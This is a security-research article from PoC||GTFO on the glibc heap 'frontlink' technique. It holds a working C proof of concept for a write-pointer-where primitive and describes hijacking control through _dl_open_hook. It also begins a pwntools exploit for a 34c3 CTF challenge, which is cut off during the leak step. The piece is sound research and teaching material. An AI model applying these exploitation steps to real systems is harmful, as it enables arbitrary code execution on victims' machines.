
18:05 House of Fun; or,
Heap Exploitation against GlibC in 2018

by Yannay Livneh

GlibC’s malloc implementation is a gift that
keeps on giving. Every now and then someone finds
a way to turn it on its head and execute arbitrary
code. Today is one of those days. Today, dear
neighbor, you will see yet another path to code ex-
ecution. Today you will see how you can overwrite
arbitrary memory addresses—yes, more than one!—
with a pointer to your data. Today you will see
the perfect gadget that will make the code of your
choosing execute. Welcome to the House of Fun.

The History We Were Taught

The very first heap exploitation techniques were
publicly introduced in 2001. Two papers in
Phrack 57—Vudo Malloc Tricks15 and Once Upon
a Free16—explained how corrupted heap chunks can
lead to full compromise. They presented methods
that abused the linked list structure of the heap
in order to gain some write primitives. The best
known technique introduced in these papers is the
unlink technique, attributed to Solar Designer. It
is quite well known today, but let’s explain how it
works anyway. In a nutshell, deletion of a controlled
node from a linked list leads to a write-what-where
primitive.

Consider this simple implementation of list dele-
tion:

1 void l i s t_d e l e t e ( node_t ∗node ) {
node−>fd−>bk = node−>bk ;

3 node−>bk−>fd = node−>fd ;
}

This is roughly equivalent to:

prev = node−>bk ;
2 next = node−>fd ;

∗( next + o f f s e t o f ( node_t , bk ) ) = prev ;
4 ∗( prev + o f f s e t o f ( node_t , fd ) ) = next ;

So, an attacker in control of fd and bk can write the
value of bk to (somewhat after) fd and vice versa.

This is why, in late 2004, a series of patches to
GNU libc malloc implemented over a dozen manda-
tory integrity assertions, effectively rendering the
existing techniques obsolete. If the previous sen-
tence sounds familiar, this is not a coincidence, as it
is a quote from the famous Malloc Maleficarum.17

This paper was published in 2005 and was imme-
diately regarded as a classic. It described five new
heap exploitation techniques. Some, like previous
techniques, exploited the structure of the heap, but
others introduced a new capability: allocating ar-
bitrary memory. These newer techniques exploited
the fact that malloc is a memory allocator, returning
memory for the caller to use. By corrupting various
fields used by the allocator to decide which memory
to allocate (the chunk’s size and pointers to sub-
sequent chunks), exploiters tricked the allocator to
return addresses in the stack, .got, or other places.

Over time, many more integrity checks were
added to glibc. These checks try to make sure the
size of a chunk makes sense before allocating it to
the user, and that it’s in a reasonable memory re-
gion. It is not perfect, but it helped to some degree.

Then, hackers came up with a new idea. While
allocating memory anywhere in the process’s virtual
space is a very strong primitive, many times it’s suf-
ficient to just corrupt other data on the heap, in
neighboring chunks. By corrupting the size field or
even just the flags in the size field, it’s possible to
corrupt the chunk in such a way that makes the
heap allocate a chunk which overlaps another chunk
with data the exploiter wants to control. A couple
of techniques which demonstrate it were published
in recent years, most notably Chris Evans’ The poi-
soned NUL byte, 2014 edition.18

To mitigate against these kinds of attacks, an-
other check was added. The size of a freed chunk
is written twice, once in the beginning of the chunk
and again at its end. When the allocator makes
a decision based on the chunk’s size, it verifies that

15unzip pocorgtfo18.pdf vudo.txt # Phrack 57:8
16unzip pocorgtfo18.pdf onceuponafree.txt # Phrack 57:9
17unzip pocorgtfo18.pdf MallocMaleficarum.txt
18https://googleprojectzero.blogspot.com/2014/08/
19git clone https://github.com/shellphish/how2heap || unzip pocorgtfo18.pdf how2heap.zip

22



both sizes agree. This isn’t bulletproof, but it helps.
The most up-to-date repository of currently us-

able techniques is maintained by the Shellphish CTF
team in their how2heap GitHub repository.19

A Brave New Primitive
Sometimes, in order to take two steps forward we
must first take one step back. Let’s travel back in
time and examine the structure of the heap like they
did in 2001. The heap internally stores chunks in
doubly linked lists. We already discussed list dele-
tion, how it can be used for exploitation, and the
fact it’s been mitigated for many years. But list
deletion (unlinking) is not the only list operation!
There is another operation: insertion.

Consider the following code:

void l i s t_ i n s e r t_a f t e r ( prev , node ) {
2 node−>bk = prev ;

node−>fd = prev−>fd ;
4

prev−>fd−>bk = node ;
6 prev−>fd = node ;

}

The line before the last roughly translates to:

1 next = prev−>fd
∗( next + o f f s e t ( node_t , bk ) ) = node ;

An attacker in control of prev->fd can write the
inserted node address wherever she desires!

Having this control is quite common in the case
of heap-based corruptions. Using a Use-After-Free
or a Heap-Based-Buffer-Overflow, the attacker com-
monly controls the chunk’s fd (forward pointer).
Note also that the data written is not arbitrary. It’s
an address of the inserted node, a chunk on the heap
which may be allocated back to the user, or might
still be in the user’s control! So this is not only a
write-where primitive, it’s more of a write-pointer-
to-what-where.

Looking at malloc’s code, this primitive can be
quite easily employed. Insertion into lists happens
when a freed chunk is inserted into a large bin. But
more about this later. Before diving into the details
of how to use it, there are some issues we need to
clear first.

When I started writing this paper, after under-
standing the categorization of techniques I described

earlier, an annoying doubt popped into my mind.
The primitive I found in malloc’s code is very much
connected to the old unlink primitive; they are lit-
erally counterparts. How come no one had found
and published it in the early years of heap exploita-
tion? And if someone had, how come neither I nor
any of my colleagues I discussed it with had ever
heard of it?

So I sat down and read the early papers, the ones
from 2001 that everyone says contain only obsolete
and mitigated techniques. And then I learned, lo
and behold, it had been found many years ago!

History of the Forgotten Frontlink

The list insertion primitive described in the previous
section is in fact none other than the frontlink tech-
nique. This technique is the second one described in
Vudo Malloc Tricks, the very first paper about heap
exploitation from 2001. (Part 3.6.2.)

In the paper, the author says it is “less flexible
and more difficult to implement” in comparison to
the unlink technique. It is far inferior in a world with
no NX bit (DEP), as it writes a value the attacker
does not fully control, whereas the unlink technique
enables the attacker to control the written data (as
long as it’s a writable address). I believe that for
this reason the frontlink method was less popular.
And so, it has almost been completely forgotten.

In 2002, malloc was re-written as an adaptation
of Doug Lea’s malloc-2.7.0.c. This re-write refac-
tored the code and removed the frontlink macro,
but basically does the same thing upon list insertion.
From this year onward, there is no way to attribute
the name frontlink with the code the technique is
exploiting.

In 2003, William Robertson, et al., announced a
new system that “detects and prevents all heap over-
flow exploits” by using some kind of cookie-based de-
tection. They also announced it in the security focus
mailing list.20 One of the more interesting responses
to this announcement was from Stefan Esser, who
described his private mitigation for the same prob-
lem. This solution is what we now know as “safe
unlinking.”

20 https://www.securityfocus.com/archive/1/346087/30/0/
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Robertson says that it only prevents unlink at-
tacks, to which Esser responds:

I know that modifying unlink does not
protect against frontlink attacks. But
most heap exploiters do not even know
that there is anything else than unlink.

Following this correspondence, in late 2004, the
safe unlinking mitigation was added to malloc’s
code.

In 2005, the Malloc Maleficarum is published.
Here is the first paragraph from the paper:

In late 2001, “Vudo Malloc Tricks” and
“Once Upon A free()” defined the ex-
ploitation of overflowed dynamic mem-
ory chunks on Linux. In late 2004, a
series of patches to GNU libc malloc im-
plemented over a dozen mandatory in-
tegrity assertions, effectively rendering
the existing techniques obsolete.

Every paper that followed it and accounted for
the history of heap exploits has the same narrative.
In Malloc Des-Maleficarum,21 Blackeng states:

The skills published in the first one of
the articles, showed:
— unlink () method.
— frontlink () method.
. . . these methods were applicable until
the year 2004, when the GLIBC library
was patched so those methods did not
work.

And in Yet Another Free Exploitation Tech-
nique,22 Huku states:

The idea was then adopted by glibc-2.3.5
along with other sanity checks thus ren-
dering the unlink() and frontlink()
techniques useless.

I couldn’t find any evidence that supports these
assertions. On the contrary, I managed to success-
fully employ the frontlink technique on various plat-
forms from different years, including Fedora Core 4

from early 2005 with glibc 2.3.5 installed. The code
is presented later in this paper.

In conclusion, the frontlink technique never
gained popularity. There is no way to link the name
frontlink to any existing code, and all relevant pa-
pers claim it’s useless and a waste of time.

However, it works in practice today and on every
machine I checked.

Back To Completing Exploitation

At this point you might think this write-pointer-
to-what-where primitive is nice, but there is still a
lot of work to do to get control over a program’s
flow. We need to find a suitable pointer to over-
write, one which points to a struct that contains
function pointers. Then we can trigger this in-
direct function call. Surprisingly, this turns out
to be rather easy. Glibc itself has some pointers
which fit perfectly for this primitive. Among some
other pointers, the most suitable for our needs is
the _dl_open_hook. This hook is used when load-
ing a new library. In this process, if this hook is not
NULL, _dl_open_hook->dlopen_mode() is invoked
which can very much be in the attacker’s control!

As for the requirement of loading a library, fear
not! The allocator itself does it for us when an
integrity check fails. So all an attacker needs to
do is to fail an integrity check after overwriting
_dl_open_hook and enjoy her shell.23

That’s it for theory. Let’s see how we can make
it happen in the actual implementation!

The Gory Internals of Malloc

First, a short recollection of the allocator’s internals.
GlibC malloc handles it’s freed chunks in bins.

A bin is a linked list of chunks which share some
attributes. There are four types of bins: fast, un-
sorted, small, and large. The large bins contain
freed chunks of a specific size-range, sorted by size.
Putting a chunk in a large bin happens only after
sorting it, extracting it from the unsorted bin and
putting it in the appropriate small or large bin. The

21unzip pocorgtfo18.pdf mallocdesmaleficarum.txt # Phrack 66:10
22unzip pocorgtfo18.pdf yetanotherfree.txt # Phrack 66:6
23Another promising pointer is the _IO_list_all pointer, or any pointer to the FILE struct. The implications of overwriting

this pointer are explained in the House of Orange. In recent glibc versions, corruption of FILE vtables has been mitigated to
some extent, therefore it’s harder to use than _dl_open_hook. Ironically, this mitigation uses _dl_open_hook and this is how I
got to play with it in the first place. To read more about _IO_list_all and overwriting FILE vtables, see Angelboy’s excellent
HITCON 2016 CTF qualifier post. To see how to bypass the mitigation, see my own 300 CTF challenge.
unzip pocorgtfo18.pdf 300writeup.md
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sorting process happens when a user requests an al-
location which can’t be satisfied by the fast or small
bins. When such a request is made, the allocator it-
erates over the chunks in the unsorted bin and puts
each chunk where it belongs. After sorting the un-
sorted bin, the allocator applies a best-fit algorithm
and tries to find the smallest freed chunk that can
satisfy the user’s request. As a large bin contains
chunks of multiple sizes, every chunk in the bin not
only points to the previous and next chunk (bk and
fd) in the bin but also points to the next and previ-
ous chunks which are smaller and bigger than itself
(bk_nextsize and fd_nextsize). Chunks in a large
bin are sorted by size, and these pointers speed up
the search for the best fit chunk.

Figure 13 illustrates a large bin with seven
chunks of three sizes. Figure 12 contains the rel-
evant code from _int_malloc.24

Here, the size variable is the size of the victim
chunk which is removed from the unsorted bin. The
logic in lines 3566–3620 tries to determine between
which bck and fwd chunks it should be inserted.
Then, in lines 3622–3626, it is actually inserted into
the list. In the case that the victim chunk belongs in
a small bin, bck and fwd are trivial. As all chunks
in a small bin have the same size, it does not mat-
ter where in the bin it is inserted, so bck is the
head of the bin and fwd is the first chunk in the bin
(lines 3568–3573). However, if the chunk belongs in
a large bin, as there are chunks of various sizes in
the bin, it must be inserted in the right place to keep
the bin sorted.

If the large bin is not empty (line 3581) the code
iterates over the chunks in the bin with a decreasing
size until it finds the first chunk that is not smaller
than the victim chunk (lines 3599–3603). Now, if
this chunk is of a size that already exists in the bin,
there is no need to insert it into the nextsize list, so
just put it after the current chunk (lines 3605–3607).
If, on the other hand, it is of a new size, it needs
to be inserted into the nextsize list (lines 3608–
3614). Either way, eventually set the bck accord-
ingly (line 3615) and continue to the insertion of the
victim chunk into the linked list (lines 3622–3626).

The Frontlink Technique in 2018
So, remembering our nice theories, we need to con-
sider how can we manipulate the list insertion to
our needs. How can we control the fwd and bck
pointers?

When the victim chunk belongs in a small bin,
these values are hard to control. The bck is the ad-
dress of the bin, an address in the globals section of
glibc. And the fwd address is a value written in this
section. bck->fd which means it’s a value written
in glibc’s global section. A simple heap vulnera-
bility such as a Use-After-Free or Buffer Overflow
does not let us corrupt this value in any immediate
way, as these vulnerabilities usually corrupt data on
the heap. (A different mapping entirely from glibc.)
The fast bins and unsorted bin are equally unhelp-
ful, as insertion to these bins is always done at the
head of the list.

So our last option to consider is using the large
bins. Here we see that some data from the chunks
is used. The loop which iterates over the chunks
in a large bin uses the fd_nextsize pointer to set
the value of fwd and the value of bck is derived
from this pointer as well. As the chunk pointed by
fwd must meet our size requirement and the bck
pointer is derived from it, we better let it point to
a real chunk in our control and only corrupt the
bk of this chunk. Corrupting the bk means that
line 3626 writes the address of the victim chunk
to a location in our control. Even better, if the
victim chunk is of a new size that does not previ-
ously exist in the bin, lines 3611–3612 insert this
chunk to the nextsize list and write its address to
fwd->bk_nextsize->fd_nextsize. This means we
can write the address of the victim chunk to another
location. Two writes for one corruption!

In summary, if we corrupt a bk and bk_nextsize
of a chunk in the large bin and then cause mal-
loc to insert another chunk with a bigger size,
this will overwrite the addresses we put in bk and
bk_nextsize with the address of the freed chunk.

24All code glibc code snippets in this paper are from version 2.24.
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3504 while ( ( v ict im = unsorted_chunks ( av )−>bk) != unsorted_chunks ( av ) )
3505 {
3506 bck = victim−>bk ;
. . .
3511 s i z e = chunks ize ( v ict im ) ;
. . .
3549 /∗ remove from unsorted l i s t ∗/
3550 unsorted_chunks ( av )−>bk = bck ;
3551 bck−>fd = unsorted_chunks ( av ) ;
3552
3553 /∗ Take now ins tead of binning i f exact f i t ∗/
3554
3555 i f ( s i z e == nb)
3556 {
. . .
3561 void ∗p = chunk2mem ( vict im ) ;
3562 a l loc_perturb (p , bytes ) ;
3563 return p ;
3564 }
3565
3566 /∗ p lace chunk in bin ∗/
3567
3568 i f ( in_smallbin_range ( s i z e ) )
3569 {
3570 victim_index = smallbin_index ( s i z e ) ;
3571 bck = bin_at ( av , victim_index ) ;
3572 fwd = bck−>fd ;
3573 }
3574 else
3575 {
3576 victim_index = largebin_index ( s i z e ) ;
3577 bck = bin_at ( av , victim_index ) ;
3578 fwd = bck−>fd ;
3579
3580 /∗ maintain l a r ge b ins in sor ted order ∗/
3581 i f ( fwd != bck )
3582 {
3583 /∗ Or with inuse b i t to speed comparisons ∗/
3584 s i z e |= PREV_INUSE;
3585 /∗ i f smal l er than smal l e s t , bypass loop below ∗/
3586 a s s e r t ( ( bck−>bk−>s i z e & NON_MAIN_ARENA) == 0) ;
3587 i f ( ( unsigned long ) ( s i z e ) < (unsigned long ) ( bck−>bk−>s i z e ) )
3588 {
3589 fwd = bck ;
3590 bck = bck−>bk ;
3591
3592 victim−>fd_nexts ize = fwd−>fd ;
3593 victim−>bk_nextsize = fwd−>fd−>bk_nextsize ;
3594 fwd−>fd−>bk_nextsize = victim−>bk_nextsize−>fd_nexts ize = vict im ;
3595 }
3596 else
3597 {
3598 a s s e r t ( ( fwd−>s i z e & NON_MAIN_ARENA) == 0) ;
3599 while ( ( unsigned long ) s i z e < fwd−>s i z e )
3600 {
3601 fwd = fwd−>fd_nexts ize ;
3602 a s s e r t ( ( fwd−>s i z e & NON_MAIN_ARENA) == 0) ;
3603 }
3604
3605 i f ( ( unsigned long ) s i z e == (unsigned long ) fwd−>s i z e )
3606 /∗ Always i n s e r t in the second pos i t i on . ∗/
3607 fwd = fwd−>fd ;
3608 else
3609 {
3610 victim−>fd_nexts ize = fwd ;
3611 victim−>bk_nextsize = fwd−>bk_nextsize ;
3612 fwd−>bk_nextsize = vict im ;
3613 victim−>bk_nextsize−>fd_nexts ize = vict im ;
3614 }
3615 bck = fwd−>bk ;
3616 }
3617 }
3618 else
3619 victim−>fd_nexts ize = victim−>bk_nextsize = vict im ;
3620 }
3621
3622 mark_bin ( av , victim_index ) ;
3623 victim−>bk = bck ;
3624 victim−>fd = fwd ;
3625 fwd−>bk = vict im ;
3626 bck−>fd = vict im ;
. . .
3631 }

Figure 12. Extract of _int_malloc.
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The Frontlink Technique in 2001

For the sake of historical justice, the following is the
explanation of the frontlink technique concept from
Vudo Malloc Tricks.25

This is the code of list insertion in the old im-
plementation:

#define f r o n t l i n k ( A, P, S , IDX, BK, FD ) {\
i f ( S < MAX_SMALLBIN_SIZE ) { \

IDX = smallbin_index ( S ) ; \
mark_binblock ( A, IDX ) ; \
BK = bin_at ( A, IDX ) ; \
FD = BK−>fd ; \
P−>bk = BK; \
P−>fd = FD; \
FD−>bk = BK−>fd = P; \

[ 1 ] } else { \
IDX = bin_index ( S ) ; \
BK = bin_at ( A, IDX ) ; \
FD = BK−>fd ; \
i f ( FD == BK ) { \

mark_binblock (A, IDX) ; \
} else { \

[ 2 ] while (FD != BK \
&& S < chunks ize (FD) ) { \

[ 3 ] FD = FD−>fd ; \
} \

[ 4 ] BK = FD−>bk ; \
} \
P−>bk = BK; \
P−>fd = FD; \

[ 5 ] FD−>bk = BK−>fd = P; \
} \

}

And this is the description:

If the free chunk P processed by
frontlink() is not a small chunk, the
code at line 1 is executed, and the proper
doubly-linked list of free chunks is tra-
versed (at line 2) until the place where
P should be inserted is found. If the
attacker managed to overwrite the for-
ward pointer of one of the traversed
chunks (read at line 3) with the ad-
dress of a carefully crafted fake chunk,
they could trick frontlink() into leav-
ing the loop (2) while FD points to this
fake chunk. Next the back pointer BK
of that fake chunk would be read (at
line 4) and the integer located at BK plus
8 bytes (8 is the offset of the fd field
within a boundary tag) would be over-

written with the address of the chunk P
(at line 5).

Bear in mind the implementation was somewhat
different. The P referred to is the equivalent to
our victim pointer and there was no secondary
nextsize list.

The Universal Frontlink PoC

In theory we see both editions are the very same
technique, and it seems what was working in 2001
is still working in 2018. It means we can write one
PoC for all versions of glibc that were ever released!

Please, dear neighbor, compile the code in Fig-
ure 14 and execute it on any machine with any ver-
sion of glilbc and see if it works. I have tried it
on Fedora Core 4 32-bit with glibc-2.3.5, Fedora 10
32-bit live, Fedora 11 32-bit and Ubuntu 16.04 and
17.10 64-bit. It worked on all of them.

We already covered the background of how the
overwrite happens, now we have just a few small
details to cover in order to understand this PoC in
full.

Chunks within malloc are managed in a struct
called malloc_chunk which I copied to the PoC.
When allocating a chunk to the user, malloc uses
only the size field and therefore the first byte the
user can use coincides with the fd field. To get
the pointer to the malloc_chunk, we use mem2chunk
which subtracts the offset of the fd field in the
malloc_chunk struct from the allocated pointer
(also copied from glibc).

The prev_size of a chunk resides in the last
sizeof(size_t) bytes of the previous chunk. It
may only be accessed if the previous chunk is not
allocated. But if it is allocated, the user may write
whatever she wants there. The PoC writes the string
“YES” to this exact place.

Another small detail is the allocation of
ALLOCATION_BIG sizes. These allocations have two
roles: First they make sure that the chunks are not
coalesced (merged) and thus keep their sizes even
when freed, but they also force the allocator to sort
the unsorted bin when there is no free chunk ready
to server the request in a normal bin.

Now, the crux of the exploit is exactly as in the-
ory. Allocate two large chunks, p1 and p2. Free and
corrupt p2, which is in the large-bin. Then free and
insert p1 into the bin. This insertion overwrites the

25unzip pocorgtfo18.pdf vudo.txt # Phrack 57:8
26Note that the loop in the beginning of the PoC main fills the per-thread caching mechanism introduced in GlibC version 2.26
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1 #include <std i o . h>
#include <s t d l i b . h>

3 #include <as s e r t . h>
#include <s t r i n g . h>

5 #include <stdde f . h>

7 /∗ Copied from g l i b c −2.24 malloc/malloc . c ∗/
#ifndef INTERNAL_SIZE_T

9 #define INTERNAL_SIZE_T size_t
#endif

11
/∗ The corresponding word s i z e ∗/

13 #define SIZE_SZ ( s izeo f (INTERNAL_SIZE_T) )

15 struct malloc_chunk {
INTERNAL_SIZE_T prev_size ; /∗ Size of prev ious chunk ( i f f r e e ) . ∗/

17 INTERNAL_SIZE_T s i z e ; /∗ Size in bytes , inc lud ing overhead . ∗/

19 struct malloc_chunk∗ fd ; /∗ double l i n k s −− used only i f f r e e . ∗/
struct malloc_chunk∗ bk ;

21
/∗ Only used for l a r ge b l o ck s : po in ter to next l a r g e r s i z e . ∗/

23 struct malloc_chunk∗ fd_nexts ize ; /∗ double l i n k s −− used only i f f r e e . ∗/
struct malloc_chunk∗ bk_nextsize ;

25 } ;
typedef struct malloc_chunk∗ mchunkptr ;

27
/∗ The sma l l e s t p o s s i b l e chunk ∗/

29 #define MIN_CHUNK_SIZE ( o f f s e t o f ( struct malloc_chunk , fd_nexts ize ) )
#define mem2chunk(mem) ( ( mchunkptr ) ( ( char∗) (mem) − 2∗SIZE_SZ) )

31 /∗ End of malloc . c d e c l e r a t i on s ∗/

33 #define ALLOCATION_BIG (0 x800 − s izeo f ( s i ze_t ) )

35 int main ( int argc , char ∗∗argv ) {
char ∗YES = "YES" ;

37 char ∗NO = "NOPE" ;
int i ;

39
// f i l l the tcache − introduced in g l i b c 2.26

41 for ( i = 0 ; i < 64 ; i++) {
void ∗tmp = malloc (MIN_CHUNK_SIZE + s izeo f ( s i ze_t ) ∗ (1 + 2∗ i ) ) ;

43 malloc (ALLOCATION_BIG) ;
f r e e (tmp) ;

45 malloc (ALLOCATION_BIG) ;
}

47
char ∗ ve rd i c t = NO;

49 p r i n t f ( "Should f r o n t l i n k work? %s\n" , v e rd i c t ) ;

51 // Make a smal l a l l o c a t i on and put the s t r i n g "YES" in i t ’ s end
char ∗p0 = malloc (ALLOCATION_BIG) ;

53 a s s e r t ( s t r l e n (YES) < s izeo f ( s i ze_t ) ) ; // t h i s i s not an over f low
memcpy(p0 + ALLOCATION_BIG − s izeo f ( s i ze_t ) , YES, 1 + s t r l e n (YES) ) ;

55
// Make two a l l o c a t i o n s r i g h t a f t e r i t and a l l o c a t e a smal l chunk in between to separate

57 void ∗∗p1 = malloc (0 x720−8) ;
malloc (ALLOCATION_BIG) ;

59 void ∗∗p2 = malloc (0 x710−8) ;
malloc (ALLOCATION_BIG) ;

61
// f r e e t h i r d a l l o c a t i on and sor t i t in to a l a r ge bin

63 f r e e ( p2 ) ;
malloc (ALLOCATION_BIG) ;

65
/∗ Vun l e r a b l i l i t y ! overwr i te bk of p2 such tha t s t r co inc ides with the pointed chunk ’ s fd ∗/

67 // p2 [ 1 ] = (( void ∗)&ve rd i c t ) − 2∗ s i z e o f ( s i ze_t ) ;
mem2chunk(p2 )−>bk = (( void ∗)&ve rd i c t ) − o f f s e t o f ( struct malloc_chunk , fd ) ;

69 /∗ back to normal behaviour ∗/

71 // f r e e the second a l l o c a t i on and sor t i t
// t h i s w i l l overwr i te s t r with a po in ter to the end of p0 − where we put "YES"

73 f r e e ( p1 ) ;
malloc (ALLOCATION_BIG) ;

75
// check i f i t worked

77 p r i n t f ( "Does f r o n t l i n k work? %s\n" , v e rd i c t ) ;
return 0 ;

79 }

Figure 14. Universal Frontlink PoC
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verdict pointer with mem2chunk(p1), which points
to the last sizeof(size_t) bytes of p0.26

Control PC or GTFO

Now that we have frontlink covered, and we know
how to overwrite a pointer to data in our control,
it’s time to control the flow. The best victim to
overwrite is _dl_open_hook. This pointer in glibc,
when not NULL, is used to alter the behavior of
dlopen, dlsym, and dlclose. If set, an invocation
of any of these functions will use a callback in the
struct dl_open_hook pointed by _dl_open_hook.
It’s a very simple structure.

1 struct dl_open_hook {
void ∗(∗dlopen_mode ) ( const char ∗name ,

3 int mode) ;
void ∗(∗ dlsym ) (void ∗map,

5 const char ∗name) ;
int (∗ d l c l o s e ) (void ∗map) ;

7 } ;

When invoking dlopen, it actually calls
dlopen_mode which has the following implementa-
tion:

1 i f ( __glibc_unlikely (_dl_open_hook!=NULL) )
return _dl_open_hook

3 −>dlopen_mode (name , mode) ;

Thus, controlling the data pointed to by
_dl_open_hook and being able to trigger a call to
dlopen is sufficient for hijacking a program’s flow.

Now, it’s time for some magic. dlopen is not a
very common function to use. Most binaries know
at compile time which libraries they are going to
use, or at least in program initialization process and
don’t use dlopen during the programs normal oper-
ation. So causing a dlopen invocation may be far
fetched in many circumstances. Fortunately, we are
in a very specific scenario here: a heap corruption.
By default, when the heap code fails an integrity
check, it uses malloc_printerr to print the error
to the user using __libc_message. This happens
after printing the error and before calling abort,
printing a backtrace and memory maps. The func-
tion generating the backtrace and memory maps is
backtrace_and_maps which calls the architecture-
specific function __backtrace. On x86_64, this

function calls a static init function which tries to
dlopen libgcc_s.so.1.

So if we manage to fail an integrity check, we can
trigger dlopen which in turn will use data pointed
by _dl_open_hook to change the programs flow.
Win!

Madness? Exploit 300!
Now that we know everything there is to know, it’s
time to use this technique in the real world. For
PoC purposes, we solve the 300 CTF challenge from
the last Chaos Communication Congress, 34c3.

Here is the source code of the challenge, cour-
tesy of its challenge author, Stephen Röttger,
a.k.a. Tsuro:

1 #include <unis td . h>
#include <s t r i n g . h>

3 #include <er r . h>
#include <s t d l i b . h>

5
#define ALLOC_CNT 10

7
char ∗ a l l o c s [ALLOC_CNT] = {0} ;

9
void myputs ( const char ∗ s ) {

11 wr i t e (1 , s , s t r l e n ( s ) ) ;
wr i t e (1 , "\n" , 1) ;

13 }

15 int read_int ( ) {
char buf [ 1 6 ] = "" ;

17 s s i z e_t cnt = read (0 , buf , s izeof ( buf )−1) ;
i f ( cnt <= 0) {

19 e r r (1 , " read " ) ;
}

21 buf [ cnt ] = 0 ;
return a t o i ( buf ) ;

23 }

25 void menu( ) {
myputs ( " 1) a l l o c " ) ;

27 myputs ( " 2) wr i t e " ) ;
myputs ( " 3) p r i n t " ) ;

29 myputs ( " 4) f r e e " ) ;
}

31
void a l l o c_ i t ( int s l o t ) {

33 a l l o c s [ s l o t ] = mal loc (0 x300 ) ;
}

35
void wr i te_i t ( int s l o t ) {

37 read (0 , a l l o c s [ s l o t ] , 0x300 ) ;
}

39
void pr in t_i t ( int s l o t ) {

41 myputs ( a l l o c s [ s l o t ] ) ;
}

with commit d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc. After filling this cache, all our operations will behave as expected.
Understanding it is beyond the scope of this paper, and on versions before 2.26 it can be removed.
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43
void f r e e_ i t ( int s l o t ) {

45 f r e e ( a l l o c s [ s l o t ] ) ;
}

47
int main ( int argc , char ∗argv [ ] ) {

49 while (1 ) {
menu ( ) ;

51 int cho i c e = read_int ( ) ;
myputs ( " s l o t ? (0−9)" ) ;

53 int s l o t = read_int ( ) ;
i f ( s l o t < 0 | | s l o t > 9) {

55 e x i t (0 ) ;
}

57 switch ( cho i c e ) {
case 1 :

59 a l l o c_ i t ( s l o t ) ;
break ;

61 case 2 :
wr i t e_i t ( s l o t ) ;

63 break ;
case 3 :

65 pr in t_i t ( s l o t ) ;
break ;

67 case 4 :
f r e e_ i t ( s l o t ) ;

69 break ;
default :

71 e x i t (0 ) ;
}

73 }
return 0 ;

75 }

The purpose of the challenge is to execute arbi-
trary code on a remote service executing the code
above. We see that in the globals section there is
an array of ten pointers. As clients, we have the
following options:

1. Allocate a chunk of size 0x300 and assign its
address to any of the pointers in the array.

2. Write 0x300 bytes to a chunk pointed by a
pointer in the array.

3. Print the contents of any chunk pointed in the
array.

4. Free any pointer in the array.

5. Exit.

The vulnerability here is straightforward: Use-
After-Free. As no code ever zeros the pointers in
the array, the chunks pointed by them are accessi-
ble after free. It is also possible to double-free a
pointer.

A solution to a challenge always start with some
boilerplate. Defining functions to invoke specific
functions in the remote target and some convenience
functions. We use the brilliant Pwn library for com-
munication with the vulnerable process, conversion
of values, parsing ELF files and probably some other
things.27

This code is quite self-explanatory. alloc_it,
print_it, write_it, free_it invoke their corre-
sponding functions in the remote target. The chunk
function receives an offset and a dictionary of fields
of a malloc_chunk and their values and returns a
dictionary of the offsets to which the values should
be written. For example, chunk(offset=0x20,
bk=0xdeadbeef) returns {56: 3735928559} as
the offset of bk field is 0x18 thus 0x18 + 0x20 is 56
(and 0xdeadbeef is 3735928559). The chunk func-
tion is used in combination with pwn’s fit function
which writes specific values at specific offsets.28

Now, the first thing we want to do to solve this
challenge is to know the base address of libc, so we
can derive the locations of various data in libc—and
also the address of the heap, so we can craft pointers
to our controlled data.

As we can print chunks after freeing them, leak-
ing these addresses is quite easy. By freeing two
non-consecutive chunks and reading their fd point-
ers (the field which coincides with the pointer re-
turned to the caller when a chunk is allocated), we
can read the address of the unsorted bin because
the first chunk in it points to its address. And we
can also read the address of that chunk by reading
the fd pointer of the second freed chunk, because it
points to the first chunk in the bin. See Figure 15.

27http://docs.pwntools.com/en/stable/index.html
28The base parameter is just for pretty-printing the hexdumps in the real memory addresses
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1 from pwn import ∗

3 LIBC_FILE = ’ . / l i b c . so . 6 ’
l i b c = ELF(LIBC_FILE)

5 main = ELF( ’ ./300 ’ )

7 context . arch = ’amd64 ’

9 r = main . p roce s s ( env={ ’LD_PRELOAD’ : l i b c . path })

11 d2 = succ e s s
def menu( s e l , s l o t ) :

13 r . s e n d l i n e a f t e r ( ’ 4) f r e e \n ’ , str ( s e l ) )
r . s e n d l i n e a f t e r ( ’ s l o t ? (0−9)\n ’ , str ( s l o t ) )

15
def a l l o c_ i t ( s l o t ) :

17 d2 ( " a l l o c {}" . format ( s l o t ) )
menu(1 , s l o t )

19
def pr in t_i t ( s l o t ) :

21 d2 ( " p r i n t {}" . format ( s l o t ) )
menu(3 , s l o t )

23 r e t = r . r e c vun t i l ( ’ \n1 ) ’ , drop=True )
d2 ( " r e c e i v ed : \ n{}" . format (hexdump( r e t ) ) )

25 return r e t

27 def wr i te_i t ( s l o t , buf , base=0) :
d2 ( " wr i t e {} :\n{}" . format ( s l o t , hexdump( buf , begin=base ) ) )

29 menu(2 , s l o t )
## The in t e r a c t i on with the b inary i s too f a s t , and some of the data i s not

31 ## wr i t t en proper l y . This shor t de lay f i x i t .
time . s l e e p ( 0 . 0 01 )

33 r . send ( buf )

35 def f r e e_ i t ( s l o t ) :
d2 ( " f r e e {}" . format ( s l o t ) )

37 menu(4 , s l o t )

39 def merge_dicts (∗ d i c t s ) :
""" return sum( d i c t s ) """

41 return {k : v for d in d i c t s for k , v in d . items ( ) }

43 def chunk ( o f f s e t =0, base=0, ∗∗kwargs ) :
""" bu i l d d i c t i ona ry o f o f f s e t s and va lue s according to f i e l d name and base o f f s e t """

45 f i e l d s = [ ’ prev_size ’ , ’ s i z e ’ , ’ fd ’ , ’ bk ’ , ’ fd_nexts i ze ’ , ’ bk_nextsize ’ , ]
d2 ( " c r a f t chunk {} : {}" . format (

47 ’ ({:#x}) ’ . format ( base + o f f s e t ) i f base else ’ ’ ,
’ ’ . j o i n ( ’ {}={:#x} ’ . format (name , kwargs [ name ] ) for name in f i e l d s i f name in kwargs ) ) )

49
o f f s = {name : o f f ∗8 for o f f , name in enumerate( f i e l d s ) }

51 return { o f f s e t+o f f s [ name ] : kwargs [ name ] for name in f i e l d s i f name in kwargs}

53 ## uncomment the next l i n e to see ex t ra communication and debug s t r i n g s
#contex t . l o g_ l e v e l = ’ debug ’
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+−−−−−−−−−−−−−−−−+
2 | UNSORTED BIN |

+−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+
4 | | fd | bk | |

